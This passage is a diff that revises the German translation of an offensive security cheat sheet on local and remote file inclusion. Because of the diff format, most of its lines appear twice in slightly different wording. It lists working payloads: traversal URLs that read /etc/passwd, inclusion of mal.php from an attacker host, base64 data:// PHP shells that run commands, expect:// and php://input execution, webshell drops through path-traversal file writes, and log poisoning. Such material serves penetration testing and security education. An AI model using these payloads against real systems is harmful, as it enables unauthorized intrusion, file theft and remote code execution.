des vermuteten Ordners (z. B. `private`) an die URL an, und navigiere dann zurück zu `/etc/passwd`. Die zusätzliche Verzeichnisebene erfordert, die Tiefe um eins zu erhöhen: +2. **Nach Ordnern suchen:** Hänge den Namen des vermuteten Ordners (z. B. `private`) an die URL an, und navigiere dann zurück zu `/etc/passwd`. Die zusätzliche Verzeichnisebene erfordert eine Erhöhung der depth um eins: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` 3. **Ergebnisse interpretieren:** Die Antwort des Servers zeigt an, ob der Ordner existiert: - **Fehler / Keine Ausgabe:** Der Ordner `private` existiert wahrscheinlich nicht an dem angegebenen Ort. -- **Inhalt von `/etc/passwd`:** Das Vorhandensein des Ordners `private` ist bestätigt. -4. **Rekursive Erkundung:** Gefundene Ordner können weiter auf Unterverzeichnisse oder Dateien untersucht werden, indem dieselbe Technik oder traditionelle Local File Inclusion (LFI)-Methoden verwendet werden. +- **Inhalt von `/etc/passwd`:** Die Existenz des Ordners `private` ist bestätigt. +4. **Rekursive Erkundung:** Gefundene Ordner können weiter auf Unterverzeichnisse oder Dateien untersucht werden, entweder mit der gleichen Technik oder mit traditionellen Local File Inclusion (LFI)-Methoden. -Um Verzeichnisse an verschiedenen Orten im Dateisystem zu prüfen, passen Sie den payload entsprechend an. Zum Beispiel, um zu prüfen, ob `/var/www/` ein `private`-Verzeichnis enthält (angenommen, das aktuelle Verzeichnis befindet sich auf einer Tiefe von 3), verwenden Sie: +Um Verzeichnisse an anderen Stellen im Dateisystem zu untersuchen, passe das payload entsprechend an. Zum Beispiel, um zu prüfen, ob `/var/www/` ein Verzeichnis `private` enthält (angenommen, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwende: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncation ist eine Methode, um Dateipfade in Webanwendungen zu manipulieren. Sie wird oft verwendet, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen an das Ende von Dateipfaden anhängen. Das Ziel ist es, einen Dateipfad zu konstruieren, der — nachdem die Sicherheitsmaßnahme ihn verändert hat — weiterhin auf die gewünschte Datei zeigt. +Path truncation ist eine Methode, um Dateipfade in Webanwendungen zu manipulieren. Sie wird häufig verwendet, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen an das Ende von Dateipfaden anhängen. Ziel ist es, einen Dateipfad so zu konstruieren, dass er nach der Änderung durch die Sicherheitsmaßnahme weiterhin auf die gewünschte Datei zeigt. -In PHP werden verschiedene Darstellungen eines Dateipfads aufgrund der Natur des Dateisystems als gleichwertig betrachtet. Zum Beispiel: +In PHP können verschiedene Darstellungen eines Dateipfads aufgrund der Art des Dateisystems als gleichwertig betrachtet werden. Zum Beispiel: -- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` werden alle als derselbe Pfad behandelt. -- Wenn die letzten 6 Zeichen `passwd` sind, ändert das Anhängen eines `/` (also `passwd/`) die angesprochene Datei nicht. -- Ähnlich verhält es sich, wenn `.php` an einen Dateipfad angehängt wird (z. B. `shellcode.php`): Ein Hinzufügen von `/.` am Ende verändert die aufgerufene Datei nicht. +- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, und `/etc/passwd/` werden alle als derselbe Pfad behandelt. +- Wenn die letzten 6 Zeichen `passwd` sind, verändert das Anhängen eines `/` (also `passwd/`) die Zieldatei nicht. +- Ähnlich: wenn `.php` an einen Dateipfad angehängt wird (z. B. `shellcode.php`), ändert das Hinzufügen von `/.` am Ende nicht die aufgerufene Datei. -Die folgenden Beispiele zeigen, wie man Path truncation nutzt, um auf `/etc/passwd` zuzugreifen, ein häufiges Ziel wegen seines sensiblen Inhalts (Benutzerkontoinformationen): +Die folgenden Beispiele zeigen, wie man path truncation nutzt, um auf `/etc/passwd` zuzugreifen — ein häufiges Ziel wegen seines sensitiven Inhalts (Benutzerkontoinformationen): ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -124,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -In diesen Szenarien kann die Anzahl der benötigten traversals etwa 2027 betragen, aber diese Zahl kann je nach Serverkonfiguration variieren. +In diesen Szenarien kann die Anzahl der benötigten Traversals ungefähr 2027 betragen, aber diese Zahl kann je nach Serverkonfiguration variieren. -- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) kombiniert mit zusätzlichen dot segments und Zeichen können verwendet werden, um im Dateisystem zu navigieren und angehängte Strings vom Server effektiv zu ignorieren. -- **Determining the Required Number of Traversals**: Durch Ausprobieren kann man die genaue Anzahl der `../`-Sequenzen ermitteln, die benötigt werden, um zum Root-Verzeichnis und dann zu `/etc/passwd` zu navigieren, wobei sichergestellt wird, dass angehängte Strings (wie `.php`) neutralisiert werden, aber der gewünschte Pfad (`/etc/passwd`) intakt bleibt. -- **Starting with a Fake Directory**: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie `a/`) zu beginnen. Diese Technik wird als Vorsichtsmaßnahme verwendet oder um die Anforderungen der Pfad-Parsing-Logik des Servers zu erfüllen. +- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) kombiniert mit zusätzlichen Punktsegmenten und Zeichen können verwendet werden, um das Dateisystem zu navigieren und angehängte Strings vom Server effektiv zu ignorieren. +- **Determining the Required Number of Traversals**: Durch Versuch und Irrtum lässt sich die genaue Anzahl von `../`-Sequenzen finden, die nötig sind, um zum Root-Verzeichnis und dann zu `/etc/passwd` zu gelangen. Dabei werden angehängte Strings (wie `.php`) neutralisiert, während der gewünschte Pfad (`/etc/passwd`) erhalten bleibt. +- **Starting with a Fake Directory**: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie `a/`) zu beginnen. Diese Technik dient als Vorsichtsmaßnahme oder dazu, die Anforderungen der Pfad-Parsing-Logik des Servers zu erfüllen. -Beim Einsatz von path truncation techniques ist es entscheidend, das Pfad-Parsing-Verhalten des Servers und die Dateisystemstruktur zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden. +Beim Einsatz von path truncation techniques ist es entscheidend, das Pfad-Parsing-Verhalten des Servers und die Struktur des Dateisystems zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden. -**This vulnerability was corrected in PHP 5.3.** +**Diese Schwachstelle wurde in PHP 5.3 behoben.** ### **Filter bypass tricks** ``` @@ -144,30 +145,30 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -In php ist das standardmäßig deaktiviert, weil **`allow_url_include`** auf **Off.** steht. Es muss auf **On** gesetzt sein, damit es funktioniert, und in diesem Fall könntest du eine PHP-Datei von deinem Server einbinden und RCE erhalten: +In php ist dies standardmäßig deaktiviert, weil **`allow_url_include`** auf **Off** steht. Es muss auf **On** gesetzt sein, damit es funktioniert, und in diesem Fall könntest du eine PHP-Datei von deinem Server einbinden und RCE erhalten: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -Wenn aus irgendeinem Grund **`allow_url_include`** **On** ist, aber PHP den Zugriff auf externe Webseiten **filtert**, [laut diesem Beitrag](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), könntest du zum Beispiel das data-Protokoll mit base64 verwenden, um einen b64 PHP-Code zu dekodieren und RCE zu erzielen: +Wenn aus irgendeinem Grund **`allow_url_include`** **An** ist, PHP aber den Zugriff auf externe Webseiten **filtert**, [laut diesem Beitrag](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), könntest du zum Beispiel das data-Protokoll mit base64 verwenden, um einen b64 PHP-Code zu dekodieren und RCE zu erhalten: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> Im vorherigen Code wurde das abschließende `+.txt` hinzugefügt, weil der attacker eine Zeichenfolge benötigte, die mit `.txt` endet. Die Zeichenfolge endet also damit und nach dem b64 decode liefert dieser Teil nur Junk zurück und der eigentliche PHP-Code wird eingebunden (und damit ausgeführt). -> -> Ein weiteres Beispiel, das **nicht das `php://` Protokoll verwendet**, wäre: +> Im vorherigen Code wurde das abschließende `+.txt` hinzugefügt, weil der Angreifer eine Zeichenkette benötigte, die auf `.txt` endete; daher endet die Zeichenkette damit und nach dem b64 decode wird dieser Teil nur Müll zurückgeben und der echte PHP-Code wird inkludiert (und somit ausgeführt). + +Ein weiteres Beispiel, **das nicht das `php://` Protokoll verwendet**, wäre: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` -## Python Root-Element +## Python Root element -In python in einem Code wie diesem: +In Python in einem Code wie diesem: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` -Wenn der Benutzer einen **absoluten Pfad** an **`file_name`** übergibt, wird der **vorherige Pfad einfach entfernt**: +Wenn der Benutzer einen **absoluten Pfad** für **`file_name`** angibt, wird der **vorherige Pfad einfach entfernt**: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' @@ -176,13 +177,13 @@ Dies ist das beabsichtigte Verhalten laut [the docs](https://docs.python.org/3.1 > Wenn eine Komponente ein absoluter Pfad ist, werden alle vorherigen Komponenten verworfen und das Zusammenfügen wird ab der absoluten Pfadkomponente fortgesetzt. -## Java Verzeichnisse auflisten +## Java listet Verzeichnisse auf -Es scheint, dass wenn man in Java eine Path Traversal hat und man **ein Verzeichnis anfragt** statt einer Datei, eine **Auflistung des Verzeichnisses zurückgegeben wird**. Das passiert in anderen Sprachen nicht (soweit ich weiß). +Es sieht so aus, dass wenn du eine Path Traversal in Java hast und du **ein Verzeichnis anfragst** statt einer Datei, **eine Auflistung des Verzeichnisses zurückgegeben wird**. Das passiert in anderen Sprachen nicht (soweit ich weiß). ## Top 25 Parameter -Hier ist eine Liste der Top-25-Parameter, die anfällig für local file inclusion (LFI)-Schwachstellen sein könnten (von [link](https://twitter.com/trbughunters/status/1279768631845494787)): +Hier ist eine Liste der Top-25-Parameter, die für local file inclusion (LFI) anfällig sein könnten (von [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -210,36 +211,36 @@ Hier ist eine Liste der Top-25-Parameter, die anfällig für local file inclusio ?mod={payload} ?conf={payload} ``` -## LFI / RFI mithilfe von PHP-Wrappers & Protokollen +## LFI / RFI mit PHP-Wrappers & -Protokollen ### php://filter -PHP-Filters erlauben das Durchführen grundlegender **Modifikationsoperationen an den Daten**, bevor diese gelesen oder geschrieben werden. Es gibt 5 Kategorien von Filtern: +PHP filters ermöglichen grundlegende **Modifikationsoperationen an den Daten**, bevor diese gelesen oder geschrieben werden. Es gibt 5 Kategorien von Filtern: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` -- `string.strip_tags`: Entfernt Tags aus den Daten (alles zwischen "<" und ">" Zeichen) -- Beachte, dass dieser Filter in modernen Versionen von PHP nicht mehr vorhanden ist +- `string.strip_tags`: Entfernt Tags aus den Daten (alles zwischen den Zeichen "<" und ">") +- Beachte, dass dieser Filter in modernen PHP-Versionen nicht mehr vorhanden ist - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : Wandelt in eine andere Kodierung um (`convert.iconv..`). Um die **Liste aller unterstützten Kodierungen** zu erhalten, führe in der Konsole aus: `iconv -l` +- `convert.iconv.*` : Wandelt in eine andere Encoding um (`convert.iconv..`). Um die **Liste aller unterstützten Encodings** zu erhalten, führe in der Konsole aus: `iconv -l` > [!WARNING] -> Durch Missbrauch des `convert.iconv.*` Conversion-Filters kann man **beliebigen Text erzeugen**, was nützlich sein kann, um beliebigen Text zu schreiben oder Funktionen wie include beliebigen Text verarbeiten zu lassen. Für mehr Infos siehe [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). +> Durch Missbrauch des `convert.iconv.*` Conversion-Filters kannst du **beliebigen Text erzeugen**, was nützlich sein kann, um beliebigen Text zu schreiben oder eine Funktion wie include dazu zu bringen, beliebigen Text zu verarbeiten. Für mehr Infos siehe [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: Komprimiert den Inhalt (nützlich beim exfiltrating großer Informationsmengen) +- `zlib.deflate`: Komprimiert den Inhalt (nützlich, wenn viele Daten exfiltriert werden müssen) - `zlib.inflate`: Dekomprimiert die Daten - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) -- `mcrypt.*` : Veraltet -- `mdecrypt.*` : Veraltet +- `mcrypt.*` : veraltet +- `mdecrypt.*` : veraltet - Other Filters -- Führt man in PHP `var_dump(stream_get_filters());` aus, findet man ein paar **unerwartete Filter**: +- Wenn du in PHP `var_dump(stream_get_filters());` ausführst, findest du ein paar **unerwartete Filter**: - `consumed` - `dechunk`: kehrt HTTP chunked encoding um - `convert.*` @@ -272,37 +273,37 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the > [!WARNING] > Der Teil "php://filter" ist nicht case-sensitiv -### Verwendung von php filters als oracle, um beliebige Dateien zu lesen +### Verwendung von php filters als oracle zum Lesen beliebiger Dateien -[**In diesem Beitrag**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) wird eine Technik vorgeschlagen, mit der sich eine lokale Datei lesen lässt, ohne dass die Ausgabe vom Server direkt zurückgegeben wird. Diese Technik basiert auf einer **boolean exfiltration of the file (char by char) using php filters** als oracle. Das liegt daran, dass php filters verwendet werden können, um einen Text so groß zu machen, dass php eine Exception wirft. +[**In diesem Beitrag**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer **boolean exfiltration der Datei (Zeichen für Zeichen) mithilfe von php filters** als oracle. Das liegt daran, dass php filters verwendet werden können, um einen Text so groß zu machen, dass php eine Ausnahme wirft. -Im Originalbeitrag findet sich eine detaillierte Erklärung der Technik, hier eine kurze Zusammenfassung: +Im ursprünglichen Beitrag findet sich eine ausführliche Erklärung der Technik, hier aber eine kurze Zusammenfassung: -- Verwende den Codec **`UCS-4LE`**, um das führende Zeichen des Textes am Anfang zu belassen und die Größe des Strings exponentiell zu vergrößern. -- Das wird genutzt, um einen **Text zu erzeugen, der so groß ist, wenn der Anfangsbuchstabe korrekt geraten wurde**, dass php einen **Fehler** auslöst. -- Der **dechunk** Filter wird **alles löschen, wenn das erste Zeichen kein hexadezimales Zeichen ist**, sodass wir herausfinden können, ob das erste Zeichen hex ist. -- Dies, kombiniert mit dem vorherigen (und anderen Filtern abhängig vom geratenen Zeichen), erlaubt es uns, ein Zeichen am Anfang des Textes zu erraten, indem wir sehen, wann wir genügend Transformationen durchführen, um es aus dem hex-Bereich zu bewegen. Denn wenn es hex ist, löscht dechunk es nicht und die initiale Bombe verursacht den php-Fehler. -- Der Codec **convert.iconv.UNICODE.CP930** transformiert jeden Buchstaben in den folgenden (also nach diesem codec: a -> b). Dadurch können wir z. B. erkennen, ob das erste Zeichen ein `a` ist, weil wenn wir diesen Codec 6-mal anwenden a->b->c->d->e->f->g, das Zeichen nicht mehr hexadezimal wäre; folglich löscht dechunk es nicht und der php-Fehler wird ausgelöst, weil er mit der initialen Bombe multipliziert. -- Durch andere Transformationen wie **rot13** am Anfang ist es möglich, weitere Zeichen wie n, o, p, q, r zu leak'en (und andere Codecs können verwendet werden, um andere Buchstaben in den hex-Bereich zu verschieben). -- Wenn das Anfangszeichen eine Zahl ist, muss es base64 enkodiert werden und die ersten 2 Zeichen per leak ermittelt werden, um die Zahl zu erhalten. -- Das finale Problem ist zu sehen, **wie man mehr als das Anfangszeichen leaked**. Durch Einsatz von Order-Memory-Filtern wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und so andere Zeichen des Textes an die erste Position zu bringen. -- Und um weitere Daten zu erhalten besteht die Idee darin, **zwei Bytes Junk-Daten am Anfang** mit **convert.iconv.UTF16.UTF16** zu erzeugen, **UCS-4LE** anzuwenden, um sie **mit den nächsten 2 Bytes zu pivotieren**, und die Daten bis zu den Junk-Bytes zu löschen (das entfernt die ersten 2 Bytes des ursprünglichen Textes). Dies wird so lange wiederholt, bis das gewünschte Bit zum leak erreicht ist. +- Verwende den Codec **`UCS-4LE`**, um das führende Zeichen des Texts an der Spitze zu belassen und die Größe des Strings exponentiell anwachsen zu lassen. +- Das wird genutzt, um einen **Text zu erzeugen, der so groß wird, wenn das Anfangszeichen korrekt erraten wurde**, dass php einen **Fehler** auslöst. +- Der **dechunk**-Filter wird **alles entfernen, wenn das erste Zeichen kein hexadezimaler Wert ist**, sodass wir erkennen können, ob das erste Zeichen hex ist. +- Dies, kombiniert mit dem vorherigen Verhalten (und anderen Filtern je nach erratenem Zeichen), erlaubt es uns, ein Zeichen am Anfang des Texts zu erraten, indem wir beobachten, wann genügend Transformationen angewendet wurden, sodass es kein hexadezimaler Wert mehr ist. Denn wenn es hex ist, entfernt dechunk es nicht und die anfängliche Explosion löst den PHP-Fehler aus. +- Der Codec **convert.iconv.UNICODE.CP930** transformiert jeden Buchstaben in den folgenden (also nach diesem Codec: a -> b). Damit lässt sich feststellen, ob das erste Zeichen z. B. ein `a` ist: wendet man diesen Codec sechsmal an (a->b->c->d->e->f->g), ist das Zeichen kein hexadezimaler Wert mehr, daher löscht dechunk es nicht und der PHP-Fehler wird aufgrund der anfänglichen Explosion ausgelöst. +- Durch andere Transformationen wie **rot13** am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu leak (und andere Codecs können verwendet werden, um andere Buchstaben in den Hex-Bereich zu verschieben). +- Wenn das Anfangszeichen eine Zahl ist, muss es base64-kodiert werden und die ersten zwei Buchstaben müssen geleakt werden, um die Zahl zu leak. +- Das finale Problem ist zu sehen, **wie man mehr als das Anfangszeichen leak't**. Durch die Verwendung von Reihenfolge-Ändernden-Filtern wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und an die erste Position andere Zeichen des Texts zu bringen. +- Und um weitere Daten erhalten zu können, ist die Idee, **mit convert.iconv.UTF16.UTF16 zwei Junk-Bytes am Anfang zu generieren**, anschließend **UCS-4LE** anzuwenden, damit diese sich mit den nächsten 2 Bytes pivotieren, und **die Daten bis zu den Junk-Bytes zu löschen** (das entfernt die ersten 2 Bytes des ursprünglichen Texts). Dieses Vorgehen wird wiederholt, bis man das gewünschte Byte zum leak erreicht. -Im Beitrag wurde auch ein Tool zum automatisierten Ausführen geleakt: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). +Im Beitrag wurde außerdem ein Tool veröffentlicht, das dies automatisch ausführt: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd -Dieser wrapper erlaubt den Zugriff auf file descriptors, die der Prozess geöffnet hat. Potenziell nützlich, um den Inhalt geöffneter Dateien zu exfiltrieren: +Dieser Wrapper erlaubt den Zugriff auf Dateideskriptoren, die der Prozess geöffnet hat. Potenziell nützlich, um den Inhalt geöffneter Dateien zu exfiltrieren: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -Du kannst auch **php://stdin, php://stdout and php://stderr** verwenden, um jeweils auf die **file descriptors 0, 1 and 2** zuzugreifen (ich bin mir nicht sicher, wie das in einem Angriff nützlich sein könnte) +Du kannst auch **php://stdin, php://stdout and php://stderr** verwenden, um jeweils auf die **Dateideskriptoren 0, 1 und 2** zuzugreifen (ich bin mir nicht sicher, wie das in einem Angriff nützlich sein könnte) -### zip:// and rar:// +### zip:// und rar:// -Lade eine Zip- oder Rar-Datei mit einer PHPShell darin hoch und greife darauf zu.\ -Um das rar-Protokoll missbrauchen zu können, muss es **speziell aktiviert werden**. +Lade eine Zip- oder Rar-Datei mit einer PHPShell hoch und greife darauf zu.\ +Um das rar-Protokoll missbrauchen zu können, muss es **explizit aktiviert werden**. ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -331,20 +332,20 @@ Beachte, dass dieses Protokoll durch php-Konfigurationen **`allow_url_open`** un ### expect:// -Expect muss aktiviert sein. Du kannst damit Code ausführen: +Expect muss aktiviert sein. Du kannst Code damit ausführen: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### input:// -Gib deinen payload in den POST-Parametern: +Geben Sie Ihre payload in den POST-Parametern an: ```bash curl -XPOST "http://example.com/index.php?page=php://input" --data "" ``` ### phar:// -Eine `.phar`-Datei kann genutzt werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie `include` zum Laden von Dateien verwendet. Der unten gezeigte PHP-Code-Schnipsel demonstriert die Erstellung einer `.phar`-Datei: +Eine `.phar`-Datei kann verwendet werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie `include` zum Laden von Dateien nutzt. Der unten gezeigte PHP-Codeausschnitt demonstriert die Erstellung einer `.phar`-Datei: ```php [!WARNING] -> Diese Technik ist relevant in Fällen, in denen du die **control** über den **file path** einer **PHP function** hast, die eine **access a file** durchführt, du aber den Inhalt der Datei nicht siehst (wie ein einfacher Aufruf von **`file()`**), obwohl der Inhalt nicht angezeigt wird. +> Diese Technik ist relevant in Fällen, in denen Sie die **control** des **file path** einer **PHP function** haben, die auf eine Datei **access a file** wird, Sie aber den Inhalt der Datei nicht sehen (z. B. ein einfacher Aufruf von **`file()`**), der Inhalt jedoch nicht angezeigt wird. -In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blind path traversal über PHP filter missbraucht werden kann, um den Inhalt einer Datei via an error oracle zu exfiltrate. +In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blind path traversal über PHP filter ausgenutzt werden kann, um den Inhalt einer Datei via eines error oracle zu exfiltrieren. -Zusammenfassend verwendet die Technik die **"UCS-4LE" encoding**, um den Inhalt einer Datei so **big** zu machen, dass die **PHP function opening** die Datei einen **error** auslöst. +Kurz gesagt, die Technik nutzt die **"UCS-4LE" encoding**, um den Inhalt einer Datei so **groß** zu machen, dass die **PHP function opening** der Datei einen **error** auslöst. -Dann wird, um das erste Zeichen zu leak, der Filter **`dechunk`** zusammen mit anderen wie **base64** oder **rot13** verwendet, und schließlich werden die Filter **convert.iconv.UCS-4.UCS-4LE** und **convert.iconv.UTF16.UTF-16BE** genutzt, um **place other chars at the beggining and leak them**. +Um dann das erste Zeichen zu leak, wird der Filter **`dechunk`** zusammen mit anderen wie **base64** oder **rot13** verwendet und schließlich werden die Filter **convert.iconv.UCS-4.UCS-4LE** und **convert.iconv.UTF16.UTF-16BE** eingesetzt, um andere Zeichen an den Anfang zu setzen und diese zu leak. -Funktionen, die anfällig sein könnten: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` +Funktionen, die möglicherweise verwundbar sind: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` -Für technische Details siehe den genannten Beitrag! +Für die technischen Details siehe den erwähnten Beitrag! ## LFI2RCE ### Arbitrary File Write via Path Traversal (Webshell RCE) -Wenn serverseitiger Code, der Dateien entgegennimmt/hochlädt, den Zielpfad unter Verwendung von von Benutzern kontrollierten Daten (z. B. ein Dateiname oder eine URL) ohne Canonicalisierung und Validierung zusammensetzt, können `..`-Segmente und absolute Pfade aus dem vorgesehenen Verzeichnis entkommen und ein beliebiges Datei-Write verursachen. Wenn du das Payload in ein web-exposed Verzeichnis platzieren kannst, erhältst du in der Regel unauthenticated RCE, indem du eine Webshell ablegst. +Wenn serverseitiger Code, der Dateien entgegennimmt/uploadet, den Zielpfad mithilfe von nutzerkontrollierten Daten (z. B. einem Dateinamen oder einer URL) ohne Canonicalisierung und Validierung zusammensetzt, können `..`-Segmente und absolute Pfade aus dem vorgesehenen Verzeichnis entkommen und einen arbitrary file write verursachen. Wenn Sie die Payload in ein web-exposed directory platzieren können, erhalten Sie normalerweise unauthenticated RCE, indem Sie eine webshell ablegen. -Typischer Exploit-Ablauf: -- Identifiziere ein Schreib-Primitive in einem Endpoint oder Hintergrund-Worker, das einen Pfad/Dateinamen akzeptiert und Inhalt auf die Festplatte schreibt (z. B. message-driven ingestion, XML/JSON command handlers, ZIP extractors, usw.). -- Bestimme web-exposed Verzeichnisse. Häufige Beispiele: +Typical exploitation workflow: +- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.). +- Determine web-exposed directories. Common examples: - Apache/PHP: `/var/www/html/` - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` -- Erzeuge einen Traversal-Pfad, der aus dem vorgesehenen Storage-Verzeichnis in die Webroot ausbricht, und füge deinen Webshell-Inhalt ein. -- Rufe das abgelegte Payload im Browser auf und führe Befehle aus. +- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content. +- Browse to the dropped payload and execute commands. Hinweise: -- Der verwundbare Dienst, der den Schreibvorgang ausführt, kann auf einem non-HTTP-Port lauschen (z. B. ein JMF XML listener auf TCP 4004). Das Hauptwebportal (anderer Port) wird später dein Payload bereitstellen. -- Auf Java-Stacks werden diese Datei-Schreibvorgänge oft mit einfacher `File`/`Paths`-Konkatenation implementiert. Das Fehlen von Canonicalisierung/Allow-Listing ist der Kernfehler. +- Der verwundbare Dienst, der den Schreibvorgang ausführt, kann auf einem non-HTTP port lauschen (z. B. ein JMF XML listener auf TCP 4004). Das Haupt-Webportal (anderer Port) wird später Ihre payload ausliefern. +- Auf Java-Stacks werden diese Datei-Schreibvorgänge oft mit einfacher `File`/`Paths`-Konkatenation implementiert. Das Fehlen von canonicalisation/allow-listing ist der Kernfehler. Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): ```xml @@ -465,26 +466,27 @@ in.transferTo(out); ``` -Härtungsmaßnahmen, die diese Klasse von Schwachstellen abwehren: -- Auf einen kanonischen Pfad auflösen und sicherstellen, dass er ein Unterverzeichnis eines zugelassenen Basisverzeichnisses ist. -- Jeden Pfad ablehnen, der `..`, absolute Wurzeln oder Laufwerksbuchstaben enthält; generierte Dateinamen bevorzugen. -- Den Schreibprozess als niedrig privilegiertes Konto ausführen und Schreibverzeichnisse von den ausgelieferten Root-Verzeichnissen trennen. +Härtungsmaßnahmen, die diese Klasse von Schwachstellen verhindern: +- Auf einen kanonischen Pfad auflösen und sicherstellen, dass er ein Nachfahre eines allow-listed Basisverzeichnisses ist. +- Alle Pfade ablehnen, die `..`, absolute roots oder drive letters enthalten; generierte Dateinamen bevorzugen. +- Den Writer als low-privileged account ausführen und Schreibverzeichnisse von den served roots trennen. ## Remote File Inclusion -Erklärt zuvor, [**follow this link**](#remote-file-inclusion). +Weiter oben erklärt, [**folgen Sie diesem Link**](#remote-file-inclusion). -### Über Apache/Nginx-Logdatei +### Via Apache/Nginx log file -Wenn der Apache- oder Nginx-Server **vulnerable to LFI** im include-Mechanismus ist, können Sie versuchen, auf **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** zuzugreifen, im **user agent** oder in einem **GET parameter** eine php-Shell wie **``** zu setzen und diese Datei zu includen +Wenn der Apache- oder Nginx-Server gegenüber **LFI** in der include-Funktion verwundbar ist, kannst du versuchen, auf **`/var/log/apache2/access.log` oder `/var/log/nginx/access.log`** zuzugreifen, im **user agent** oder in einem **GET parameter** eine php shell wie **``** zu setzen und diese Datei zu includen > [!WARNING] -> Beachten Sie, dass **wenn Sie doppelte Anführungszeichen** für die Shell statt **einfache Anführungszeichen** verwenden, die doppelten Anführungszeichen für den String "_**quote;**_" verändert werden, **PHP dort einen Fehler wirft** und **nichts weiter ausgeführt wird**. +> Beachte, dass **wenn du doppelte Anführungszeichen** für die Shell statt **einfache Anführungszeichen** verwendest, die doppelten Anführungszeichen in den String "_**quote;**_" umgewandelt werden, **PHP dort einen Fehler auslöst** und **nichts Weiteres ausgeführt wird**. > -> Außerdem stellen Sie sicher, dass Sie **das payload korrekt schreiben**, sonst wirft PHP jedes Mal einen Fehler, wenn es versucht, die Logdatei 